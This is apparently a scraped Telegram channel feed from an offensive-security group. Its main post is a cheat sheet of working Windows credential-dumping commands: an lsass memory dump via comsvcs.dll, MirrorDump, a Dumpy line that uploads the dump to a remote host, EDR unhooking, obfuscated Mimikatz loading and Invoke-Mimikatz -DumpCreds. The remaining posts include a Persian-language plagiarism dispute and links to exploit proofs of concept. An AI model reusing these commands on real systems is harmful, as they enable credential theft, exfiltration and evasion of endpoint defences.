P.F.K Security

#0x41 > Comsvcs.dll
Methods: regsvr32 comsvcs.dll rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump lsass.exe lsass.dmp full

#0x42 > MirrorDump
Methods: .\MirrorDump.exe -f “NotLSASS.zip” -d “LegitLSAPlugin.dll” -l 1073741824

#0x43 >Dumpy
Methods: dumpy.exe dump -k secretKey -u https://remotehost/upload force

#0x44 >RToolZ+ProcExp152.sys
Methods: .\procexp64.exe -accepteula /t RToolZ -p

#0x45>SharpUnhooker+LsassUnhooker
Methods:

LsassUnhooker.exe -r SharpUnhooker.exe inject --process lsass.exe --modulepath ReflectiveDLL.dll SharpUnhooker.exe dump --process lsass.exe --output lsass_dump.bin

#0x46 >hashdump
Methods: Kldumper.exe laZagne_x64.exe PwDump7.exe QuarksPwDump.exe SqlDumper.exe Wce_x64.exe SAMInside.exe
#0x47 >Mimikatz+Invoke-Obfuscation
Methods:

Invoke-Obfuscation -ScriptBlock { [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes(‘C:\mimikatz.exe’)) } -Command ‘Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(“JABzAD0ATwB2AGkAZQBzAC4AQwBvAG0AbQBhAG4AQQB0AHIAZQBzAEMAaABhAG4AZAAoAFsAUwB5AHMAdABlAG0ALgBDAHIAZQBzAG8AXQAuAFQAcgBpAGMAeQBTAHQAcgBlAGEAbQAuAEEAcABwAG8AcgB0AGwAZQBOAGEAbQBlAFMAdABpAG4AZwBdACkAIAB8ACAACgAkAHMAdwB3AG8AcgBkACAAPQAgAFsAcwBdAC4AVwBpAG4AZABvAHcAbgBhAGwAaQB6AGUAXQAoAFsAUwB5AHMAdABlAG0ALgBJAG4AdgBpAGQAZQBJAHQAKAAiAEMAaABhAG4AZAAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbQBwAHIAZQBzAGgAZQBuAGQAKQBdAC4AQQBzAHMAZQBtAGIAbABlAC4AVABvAHAAYwBvAG4AcwB0AHIAYQB0AGUAZAAoACcAKwAnACsAJwApAC4AUABhAGMAZQBuAHQAYQB0AGUAUwB0AGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEkAbgB2AGkAZABlAEkAdAAoACcARQB4AGkAbgBzAGMAcgBpAHAAbwB3AGUAcgBzAGgAZQBuAGMAaABpAG8AbgBzAHQAcgBpAG4AZwAnACkAKQBdACkA”)]))’

Import-Module PowerSploit Invoke-Mimikatz -DumpCreds
#0x48 > BetterSafetyKatz
Methods

: .\BetterSafetyKatz.exe .\BetterSafetyKatz.exe ‘.\mimikatz_trunk.zip’
Sekurlsa::minidump

#lass
@PfkSecurity

574 views19:33

P.F.K Security

استفاده از دستاورد دیگران برای جذب مخاطب یک کار غیر اخلاقی دیگر است و عدم وجود مدیریت صحیح در انتشار پست ها باعث کشف RCE و Buffer Overflow میشود😂 از این رو Buffer Overflow که توسط آن ، RCE بدست امده اینگونه متلاشی میشود که یک ایرانی که سواد کافی جهت فعالیت در حوزه امنیت را ندارد شروع به نوشتن writeup میکند !
در ایران گویا دروغ گفتن عادت شده ؛ در تاریخ و ساعت :
December 21, 2018 12:21pm +0330
یک گزارش در هکروان توسط :
vinnievan
ثبت شده است ؛ لینک :
https://hackerone.com/reports/470520
گویا یک ایرانی طبق تصویر مدعی شده که توانسته Buffer Overflow از CSGO کشف کند :) گزارشی که توسط فرد / افراد دیگری گزارش شده است ! استاد شما به خودی خود یک buffer overflow ثبت نکرده بودن عزیز... !

دنیای امنیت را به گند نکشید .
#APTIran
@PfkSecurity

811 viewsedited 07:43

P.F.K Security

CVE-2022-31705:
Geekpwn 2022 Vmware EHCI OOB
https://github.com/s0duku/cve-2022-31705

#CVE
@PfkSecurity

GitHub

GitHub - s0duku/cve-2022-31705: CVE-2022-31705 (Geekpwn 2022 Vmware EHCI OOB) POC

CVE-2022-31705 (Geekpwn 2022 Vmware EHCI OOB) POC - GitHub - s0duku/cve-2022-31705: CVE-2022-31705 (Geekpwn 2022 Vmware EHCI OOB) POC

601 views18:31

P.F.K Security

اجراهای ضبط شده از BlackHat22 رسید!

مجموعه ای از گزارش های مختلف در مورد رمزنگاری خارجی، داخلی، معکوس.

لیست پخش:
- آسیب پذیری در ماتریس.
- حملات به AFDS
- حمله به خودروهای الکتریکی
- حملات به Kerberos RC4.
- بایپس EDR؛
- حملات به قراردادهای هوشمند؛
- دور زدن WAF:
- حملات در سطح کانال.

https://yewtu.be/watch?v=V_HwRtUk5tI&list=PLH15HpR5qRsVY4gZPQrkdVBeR_BwNujGe

@PfkSecurity

954 views20:45

P.F.K Security

Redis Exploit Tool
https://github.com/kuckibf/Popular-CVEs

#CVE #Exploit
@PfkSecurity

609 views16:14

P.F.K Security

دروغ گفتن هیچوقت آیین ایرانیها نبوده

آیین ما پندار نیک، گفتار نیک و کردار نیک بود

دروغ ۱۳ هم شاملش نمی شود !
@PfkSecurity

607 views16:16

P.F.K Security